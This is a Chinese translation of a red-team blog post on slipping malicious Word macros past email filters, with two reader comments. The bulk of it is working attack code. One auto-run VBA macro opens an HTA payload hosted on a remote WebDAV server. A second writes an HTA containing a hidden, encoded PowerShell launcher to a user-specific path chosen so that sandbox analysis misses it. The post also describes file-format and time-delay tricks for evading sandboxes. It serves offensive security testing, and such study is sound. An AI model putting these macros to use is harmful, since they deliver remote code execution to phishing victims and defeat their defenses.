绕过邮件过滤器的恶意宏攻击技术解析

本文详细介绍了如何通过修改文档格式、使用Shell.Application方法及特定路径写入等技术手段,成功绕过邮件过滤器投递恶意宏载荷,适用于受限网络环境下的攻击模拟。

如何让恶意宏绕过邮件过滤器

警告:本文中提到的技术和工具可能已过时,不适用于当前情况。然而,这篇博客仍可作为学习机会,并可能更新或集成到现代工具和技术中。

Microsoft Word或Excel文档中的恶意宏是一种有效的黑客技术。这些文档可以通过多种方式传递,包括通过电子邮件或作为“简历”上传到招聘网站。因此,反恶意软件解决方案(如入站邮件过滤器)试图阻止恶意宏的传递。根据我的经验,以下技术在绕过这些保护措施方面证明是有用的。

首先,Ethan Robish(@ethanrobish)教给我的一个标准小技巧是将启用宏的文档保存为较旧的“Word 97-2003文档”格式。较新版本的MS Office要求启用宏的文档使用“docm”扩展名,但旧格式允许使用不太明显的“doc”扩展名。

将启用宏的文档保存为Word 97“.doc”文件

虽然这不足以绕过许多过滤器,但这是一个良好的第一步。

Brian Fehrman(@fullmetalcache)过去曾发布过一些关于绕过邮件过滤器的技巧,但最近这些技巧对我无效。似乎入站过滤器不喜欢PowerShell Empire、Metasploit甚至TrustedSec的Unicorn载荷生成器从宏调用命令shell的方法。

作为替代方案,我发现以下宏可以成功绕过入站邮件过滤器。该宏从远程webDav服务器读取HTA文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
Sub AutoOpen()
    Debugging
End Sub

Sub Document_Open()
    Debugging
End Sub

Public Function Debugging() As Variant
    Set shellApp = CreateObject("Shell.Application")
    shellApp.Open ("\\your.webdavserver.net\webdav\updater.hta")
End Function

此代码使用“Shell.Application Open”方法,与直接尝试在命令行上调用命令相比,入站邮件过滤器对此方法的审查较少。要使用该宏,请将“your.webdavserver.net”文本替换为您托管HTA文件的webDav服务器的域名或IP地址。根据目标环境,使用域名可能有效,而使用IP地址无效,反之亦然。两种都尝试一下。有关设置webDav服务器的信息,请参阅此博客文章。

HTA文件本身可以使用多种工具生成。下面给出了使用PowerShell Empire的示例。将输出保存为带有“hta”扩展名的文件。

使用PowerShell生成HTA载荷

如果目标几乎没有互联网连接来下载HTA文件,您可能必须将HTA文件写入目标磁盘。然而,一些邮件过滤器在沙箱环境中运行宏载荷,并且不喜欢宏同时将文件写入磁盘并随后读取它。您通常可以在宏中执行其中一种操作,但不能同时执行两种。如果您可以直接访问目标,请通过在目标系统上手动创建载荷,然后通过电子邮件发送一个仅执行现有载荷的宏来测试这一点。您的宏很可能会通过入站邮件过滤器。这提出了一些有趣的想法,即创建一个宏,如果文件已存在于磁盘上,则执行该文件,否则创建该文件并退出。这将要求受害者运行宏两次。这并非完全不可行。如果您让宏显示错误并关闭文档,受害者可能会尝试再次打开它。

这引出了更有创意的想法,如果宏检查一天中的时间,并且只在特定日期和时间之后执行恶意载荷,会怎么样?时间可以设置为电子邮件发送后十分钟。在这种情况下,宏在沙箱中执行时不会表现出恶意行为,但稍后会表现不同。记录一下,我最近尝试过这个但失败了,但这是很好的思考素材,可能对其他反恶意软件解决方案有效。

在这种情况下,我的最终可行解决方案是将文件写入存在于我的目标上但不在沙箱环境中的特定位置。例如“c:\Users\croberts\”。由于此位置在沙箱环境中不存在,因此不会写入磁盘,也不会随后执行。然而,在目标系统上,它运行得很好。最终的宏如下所示。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Sub AutoOpen()
    Bhistest
End Sub

Sub Document_Open()
    Bhistest
End Sub

Public Function Bhistest() As Variant
    Dim Str As String
    Dim Str2 As String
    Str = "<html><head><script>var c= 'powershell.exe -NoP -sta -NonI -W Hidden -Enc "
    Str = Str + "在此处放置您的大长编码命令的其余部分……"
    Str = Str + "……并在此处继续,依此类推,以避免超过宏字符串行长度限制"
    Str2 = "new ActiveXObject('WScript.Shell').Run(c,0);</script></head><body><script>self.close();</script></body></html>"
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile("c:\users\croberts\final.hta", True)
    objFile.Write Str & vbCrLf
    objFile.Write Str2
    objFile.Close
    Set shellApp = CreateObject("Shell.Application")
    shellApp.Open ("c:\users\croberts\final.hta")
End Function

即使在一些最严格的环境中,也证明了通过电子邮件钓鱼实现远程代码执行的可能性。

防御者们,你们真的需要允许从外部来源传递启用宏的文档吗?这是有风险的业务。


评论

whitechattr
2017年6月7日 @ 1:48 pm
有没有办法找到当前用户名,这样就不需要硬编码,并且可以在多个主机(/用户帐户)上工作?

Carrie Roberts
2017年6月12日 @ 8:04 pm
嗨,Whitechattr,确定用户名绝对是可能的,但不在自动化方式中这样做的原因是为了防止恶意软件在电子邮件沙箱中成功运行,并在那里被检测和阻止。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计